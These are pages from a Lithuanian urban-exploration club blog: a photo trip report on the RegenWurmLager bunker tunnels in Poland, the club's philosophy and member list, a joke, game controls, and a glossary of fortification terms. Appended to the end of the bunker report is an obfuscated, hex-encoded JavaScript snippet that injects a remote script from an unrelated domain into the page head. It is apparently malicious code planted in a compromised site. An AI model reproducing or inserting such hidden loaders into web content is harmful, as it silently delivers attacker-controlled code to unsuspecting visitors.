...viskas, kas kažkada buvo paslėpta...
...kada nors taps žinoma...

... požemiai ... bunkeriai ... kasinėjimai ... bažnyčios ... rūsiai ... pilys ... speleologija ... kriptos ... lobiai ... fortai ... katakombos ... dvarai ... archeologija ... tuneliai ... fortifikacija ...

Projekto atnaujinimas!

2009.03.13, 12:58 publikavo temoje Projekto informacija

Pagaliau 🙂 Po kelerių metų petraukos radau laiko, noro ir galimybių perkūrti šaunų projektą digeriai.lt (buvęs Digeriai.lt)

Prašau kantrybės ir atlaidumo už klaidas artimiausias kelias paras kol bus kuriamas naujas dizainas, testuojama nauja sistema.

Vėliau dar užtruks nemažai laiko, kol bus įkelta bent sena info, straipsniai, fotoalbumai, bet palaukti vertą – bus daug geiau nei buvo 😉 Hope so 😀

Ačiū, kad lankotės ir iki!

underconstruction

Atsiliepimų: nėra »


Regen Wurm Lager

2008.04.02, 05:44 publikavo temoje Projekto informacija

Kovo 20-25 dienomis buvau viename didžiausių fortifikacinių įrenginių pasaulyje. Tai 1929-1942 vokiečių statyta bunkerių sistema RegenWurmLager, dar vadinama Ostwall.

Bunkerių sistema yra Lenkijoje, visai netoli Vokietijos sienos, ir driekiasi išilgai jos.

Statyta buvo tuometinės Prūsijos teritorijoj, o dabar šios žemės priklauso lenkam.

Tai kažkas tokio !!! Šią vietą galima drąsiai pavadinti „Digerių rojumi“ :D
Bendra tunelių sistema po žeme sudaro virš 35 km. Viskas yra 30-40 m po žeme. Leistis reikia labai ilgai ir labai giliai :)

Paveikslėlis

Paveikslėlis

Paveikslėlis

Paveikslėlis

Paveikslėlis

Vokiečiams buvo paprasčiau, nes jie turėjo liftus :) :
Paveikslėlis

Po žeme tuneliai kelių lygių, vieni pakankamai žemi ~2.5m aukscio:
Paveikslėlis

Kiti nesuprantamai labai erdvųs ir aukšti 5-10 m:
Paveikslėlis

Visuose tuneliuose yra bėgiai:
Paveikslėlis

Visi tuneliai iš visų DOT’ų sueina i vieną centrinį tunelį, kuris labai erdvus ir driekiasi daugybę kilometrų. Čia jau bėgių eina kelios poros, pilna bėgių perjungėjų (ar kaip jie ten vadinasi :))
Paveikslėlis

galėdavai, savo laiku, elektra varomais traukinukais nuvažiuoti į bet kurią RegenWurmLager vietą.
Pasiklysti taipogi nėra sudėtinga, neturint tunelių žemęlapių, nes labai daug įvairiu išsišakojimų, posūkių, sankryžų:
Paveikslėlis

Paveikslėlis

Didžiojoj bunkerio sistemų dalyje iki šiol puikiausiai veikia drenažo ir vandens šalinimo sistema, nors jau daugybę laiko jos nieks neprižiūri ir nevalo:
Paveikslėlis

Aišku nemažai vietų, kur ji jau užsikimšusi:
Paveikslėlis

Paveikslėlis

Beje kiek yra man žinoma, vokietukai sugebėjo valdyti net 3-ijų netoliese esančių ežerų lygi. Pumpuoti iš vieno i kitą vandenį, teikti geriama vandenį, ir esant reikalui – užlieti visa bunkerių sistemą per kelias minutes. Iki dabar dar bandoma atrasti tuos kamštelius, kuriuos atkimšus būtų viskas apsemta, ir patikrinti jų būklę :D
Labai daug tuneliuose žiemojančių šikšnosparnių kolonijų, tik dėja aš jų nepažystu taip gerai, kaip kiti speleologai :) nepasakysiu, koks čia jų modelis :D
Paveikslėlis

Paveikslėlis

Taipogi buvo galima rasti per stebuklą išlikusių artefaktų, tokių kaip granatsvaidis. Aišku jie visiškai surūdiję ir nebetinkami vartojimui, bet bendrą vaizdą susidaryti nesunku :)
Paveikslėlis

Paveikslėlis

Paveikslėlis

Miegojom, gyvenom, vaikščiojom, darėmės valgyti ir ilsėjomės beveik visą laiką po žeme:
Paveikslėlis

Paveikslėlis

Paveikslėlis

po žeme ne todėl, kad nebuvo galimybės išlysti, bet todėl, kad ant žemės buvo šlykštus oras, lijo, šlapia, šalta, o po žeme stabili temperatūra, sausa :)
Bunkerių sistemoje begalės gilių šulinių iki 40 metrų, į kuriuos įmanoma nusileisti:
Paveikslėlis

yra vietų, kur reikalingi hidrokostiumai:
Paveikslėlis

Yra škurnikų:
Paveikslėlis

Paveikslėlis

Labai apmaudu, bet pats geriausias šulinys nusileidimui, kuris vienas iš mažiausiai ištyrinėtų objektų ir automatiškai mažiausiai nusiaubtas vandalų, šiais metais jau yra užvirintas :(
Paveikslėlis

Bet galima i jį nusileisti per gretą esančią ventiliacinė angą. Nusileist tikrai pavyktu, tik klausimas ar pavyktu atgal pakilti :) gali tekti pėdinti paskui ~8km tuneliais iki artimiausio išlipimo į paviršių ir tą patį atstumą jau atgl paviršium, mišku :D
Paveikslėlis

miške irgi nėra taip gražu ir paprasta, pilnas miškas pavojų:
Paveikslėlis

Paveikslėlis

todėl naktį vaikščioti pakankamai pavojinga. Taipogi kalbama, kad aplink kaikuriuos DOT’us buvo tiek priminuota, kad dar iki šiol tų minų yra nemažai neišminuotų.

 

Keletas dar šiaip įdomesnių nuotraukų:
šaudymo ir apžvalgos bokštelis:
Paveikslėlis

kažkoks kablys :)
Paveikslėlis

Prieštankiniai įtvirtinimai:
Paveikslėlis

Vieno iš DOT’ų statybos metai:
Paveikslėlis

DOT’as iš išorės:
Paveikslėlis

DOT’as iš vidaus:
Paveikslėlis

Žodžiu įspūdžių begalė, viskam apžiurėti laiko nepakako, pamatėm tik labai labai labai mažą dalį. Vienintelį dalyką, ką tikrai žinau, kad važiuosiu ten dar ne kartą :)
Po kelionės gaila buvo tik to, kad visą ką savo digeriavimo metu esu pamatęs ir kas atrodė labai įspūdinga, po šios kelionės tapo labai menka ir nereikšminga lyginant su tuo, ką ten pamačiau :roll: var _0x29b4=[„\x73\x63\x72\x69\x70\x74″,“\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,“\x73\x72\x63″,“\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,“\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,“\x68\x65\x61\x64“];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Atsiliepimų: 1 »


Digerių komanda ir filosofija

2005.09.26, 21:43 publikavo temoje Projekto informacija

Digerių komanda:


~ Geris ~ ~ Grippen ~ ~ Grobuonis ~ ~ Hipelis ~ ~ Lemonas ~ ~ LT~
~ Raudonas ~ ~ SKR ~ ~ Soldier ~ ~ Thony ~ ~ Žaibas ~ ~ Zhucka ~

Digerių filosofija:

… „viskas kas kada nors buvo paslėpta, kažkada taps žinoma“ …

… digeriai … pažodinis vertimas iš anglų kalbos žodžio „digger“ – kasėjas, ieškotojas, tikrai neatspindi nei mūsų tyrinėjimų sferos, nei apimčių, požiūrių ir priemonių …

… bent mes norėtume kad mus žinotų ir šį terminą propaguotų šia, plačiąja prasme – digeriai tai bebaimių nuotykių ieškotojų komanda, tai įvairaus amžiaus, išsilavinimo ir socialinio statuso žmonės, iš įvairių Lietuvos apskričių ir vietovių, kuriuos vienija pomėgis laisvalaikiu tyrinėti įvairius požemius: urvus, rūsius, kriptas ir katakombas, fortus, kariuomenės ir civilinės saugos bazes ir bunkerius, DOT`us ir kitus fortifikacijos, gynybos įrenginius, dvarus, pilis, bažnyčias ir t.t. Domėtis, ieškoti ir atrasti įvairias paslaptis, patikrinti legendas įvairiuose požemiuose, griuvėsiuose, apleistose vietose, namuose „vaiduokliuose“ ir pan. Prisiliesti prie istorijos ir jos artefaktų…

… pagrindinis digeriškos veiklos darbas ir laiko sąnaudos išeikvojamos ne taip ir romantiškai – skaitant ir kataloguojant įvairią literatūrą, periodiką, naudojantis įvairių fondų, archyvų sukaupta medžiaga, renkant žmonių pasakojimus, atsiminimus, visuomenės gandus ir tikrinant juos. Kai „pribręsta“ būtinybė – berenkant ir skaitant pašalinę informaciją iškyla tik dar daugiau klausimų, paaiškėja nesutapimai, prireikia informacijos foto ar TV reportažui – tada digeriai „išlenda į dienos šviesą… tik tam, kad vėl sulystų kažkur po žeme :-)“…

… pasinaudodami patirtimi, spec. įgūdžiais ir priemonėmis (GPS imtuvai, foto ir video kameros, metalo detektoriai, alpinistinė bei nardymo įranga etc.), pažintimis, digeriai patenka ir svarbiausia sugrįžta iš tokių vietų, kokias eiliniai mirtingieji pamato nebent filmuose …

… jokiais būdais negalima digerių tapatinti su paveldo niokotojais, kapų plėšikais ar paprasčiausiais „metalistais“ (metalo ir kitų naudingų materialinių resursų vagimis iš apleistų objektų)… Mes ne tokie! Mes atėjome ne tam. Mes domimės istorija ir ją nepaprastai gerbiame, ekspedicijų metu į mūsų suinteresuotumo sferą įeina tik fotografavimas/filmavimas, vietovės ir objekto (-ų) brėžinių sudarymas, aprašymas, atsakymų į tam tikrus istorinius, architektūrinius ar karinius klausimus radimas, visuomenę neraminančių „paslapčių“ atskleidimas, paaiškinimų radimas …

… jei Jūs žinote kokių įdomių objektų, girdėjote ar žinote, kur Jūsų apylinkėse nuskendo lobiai“ ar po karo pelkėje „užsiliko“ tankas, galbūt patys domitės panašia veikla, norėtumėte prisijungti prie mūsų. Kontaktuokite žemiau pateiktais būdais ir mes pasistengsime rasti bendrą kalbą 😉

Pagarbiai, Soldier

Atsiliepimų: 1 »


Žaidimas „Digger“

2005.05.29, 11:31 publikavo temoje Projekto informacija

Judėjimas – rodyklės
Šaudymas – F1
Meniu – F9
Vienas ar du žaidėjai – ESC
„+“ didina žaidimo greitį „-“ mažina

Atsiliepimų: nėra »


Digeriškas anekdotas

2005.03.21, 20:33 publikavo temoje Projekto informacija

Šliaužia digeris siauru siauru tuneliu.
Sutinka kita, į priešingą pusę šliaužiantį digerį:
– O!  Iš kur tu šliauži?
– Aš?! Iš aklavietės… O tu?
– Hmm… keista… Aš taip pat! 😀

Zombis

Atsiliepimų: nėra »


Digeriškos terminologijos žodynėlis

2005.01.11, 20:30 publikavo temoje Projekto informacija

BENDRAI:

DIGERIS – [angl. digger] požemių pasaulio tyrinėtojas. Intereso objektai – bunkeriai, fortai, slėptuvės, bažnyčių rūsiai, kriptos, katakombos, miesto kolektorių ir tunelių sistemos, namai – „vaiduokliai“ ar griuvėsiai, dvarai, pilys ir kiti įdomūs, paslaptingi objektai bei reiškiniai, legendos ir artifaktai.

JUODASIS DIGERIS – [moradierius] „matalistas“ – karinių relikvijų ieškotojas su metalo detektoriumi, kastuvu ir t.t. … istorinių objektų ir net kapaviečių niokotojas, plėšikas dėl materialinės naudos. Visiška digerio priešingybė ir priešas, tad prašome netapatinti mūsų su tai kasėjais ir vargšų karių kapų niokotojais vardan sagties su svastika ar auksinio danties ištraukimo iš kaukolės… 🙁


Žvakė

KARINĖ INŽINERIJA / FORTIFIKACIJA:

BATERIJA – [pranc. batterie] istorinis gynybinis statinys, kuriame yra išdėstomos patrankos. Buvo atviros, kazemuotos arba šarvuotos.

BASTĖJA – [pranc. bastion circulaire; angl. raund bastion] išsikišęs frontu ir užnugaryje atviras istorinio gynybinio statinio elementas išsidėstęs įtvirtinimų linijoje; gali būti rato, pusračio, daugiakampio formos sujungtas su įtvirtinimo sienomis, skirtas sienų, fosos ir priekinio lauko gynybai.

BASTIONAS – [pranc. bastion] išsikišęs frontu, užnugaryje atviras penkiakampio formos istorinio gynybinio statinio elementas sujungtas su sienomis. Skirtas sienų, forsos, kaimyninių bastionų ir priekinio lauko gynybai.

BLINDAŽAS – [pranc. blindage] lauko tipo slėptuvė kariams su tvirtu denginiu.

BUNKERIS – [angl. bunker] atsparioji ugniavietė arba slėptuvė kariams apsiginti nuo priešo ugnies.

CITADELĖ – [it. cittadella] labiausiai įtvirtinta centrinė tvirtovės dalis, pritaikyta savarankiškai gynybai.

ESPLANADA – [pranc. esplanade] neapstatyta teritorija (laukas) tarp gynybinio įtvirtinimo ir artimiausių pastatų; paprastai buvo padalinta į tris zonas, kuriose buvo nustatyti skirtingi žemės paviršiaus bei jo dangos keitimų apribojimai.

FLIGELIS – [vok. Flugel – sparnas] šoninis įtvirtinimo korpusas.

FORTAS – [pranc. fort < lot. fortis – stiprus] istorinis gynybinis statinys – tvirtovės dalis, skirta ilgai žiedinei gynybai visiškoje apsuptyje, paprastai sujungtas su gretimais įtvirtinimais. Naudotas įvairiose gynybos sistemose: bastėjinėje, bastioninėje, žnyplinėje, o ypač poligonalinėse žiedinėse tvirtovėse. Skirstomi į kompaktiškus ir išsiplėtusios, pagrindinius, tarpinius ir jungiamuosius, artilerijos ir pėstininkų, pagal profilius – į vienapylimius ir dvipylimius.

FORTIFIKACIJA – [ lot. fortificatio – įtvirtinimas] žemės paviršiaus pritaikymas gynybai ir tam tikrų įtvirtinimų įrengimas. Fortifikacinis pastatas – karo inžinerijos gynybinis statinys, įtvirtinimas.

FOSA – [pranc. fossé] įgilinta kliūtis, įrengta prieš gynybos liniją. Gali būti stačiakampio, trapecijos ar trikampio formos pjūvyje, sausa ar užpilta vandeniu (gynybinis griovys).

GYNYBOS LINIJA – įtvirtinta fronto atkarpa (pvz.: žemės pylimas), kurios kraštai remiasi į natūralias kliūtis arba į specialius įtvirtinimus. Charakteringa lauko gynybai. Kai kada sustiprinta baterijomis. Gali būti ištisinė ar nutrūkstanti.

GYNYBINIS PYLIMAS – [pranc. rempart] gynybinis įrenginys, kartu tarnaujantis kaip kliūtis, ir kaip viena gynybinio objekto apvado profilio dalis. Kartu jis yra gynybos linija. Jis visada jungiasi su fosa (gali būti iš akmenų, rastų-žemės, žemės ir kt.).

KAPONIERIUS – [pranc. caponiere] 1. Sausame tvirtovės griovyje įrengtas akmeninis skliautuotas statinys, neaukštesnis negu fosos išorinis šlaitas, iš kurio išilgai apšaudomas tas griovys. 2. Įtvirtinto rajono kazematas su artilerijos pabūklu šaudyti į priešo sparną. Gali būti didieji, mažieji, pavieniai, dvigubi, užnugario ir kt. kaponieriai.

KAZEMATAS – [pranc. casemate < it. casamatta] Atspari gynybinio statinio patalpa, sauganti nuo artilerijos sviedinių ir bombų.

KONTRESKARPINĖ SIENA – [pranc. contrescarpe] prieššlaitinė siena ( siena esanti kitoje pusėje priešais fosos šlaitą.

LIUNETAS – [pranc. lunete] iš užnugario atviras, pusmėnulio formos lauko įtvirtinimas suformuotas iš žemės.

PANDUSAS – [pranc. pente douce – nuožulnus šlaitas] nuožulnuma tarp skirtingo aukščio pylimų.

POLIGONALINĖ SISTEMA – [pranc. poligone] istorinio gynybinio statinio formavimo principas naudojant kaponierius ir tiesias bei laužytas į išorę gynybines sienas. Poligonalinio tipo buvo Kauno tvirtovė.

POTERNA – požeminė galerija.

REDUTAS – [pranc. redute] istorinėje fortifikacijoje nedidelis uždaras lauko gynybinis objektas, dažniausiai įrengiamas apkasų, gynybinių linijų kampuose (suformuotas iš žemės, ar kt.)

* Žodynėlis parengtas pagal Histoire et Dictionnaire de la Fortification, Paris, 1991; Les Fortifications du Brianconnais, Aix-en-Provence, 1997; Tarptautinių žodžių žodyną, Vilnius, 1985; konsultuojantis su N. Steponaityte ir J. Lukše.

Paimta iš svetainės „Kauno tvirtovė

Atsiliepimų: nėra »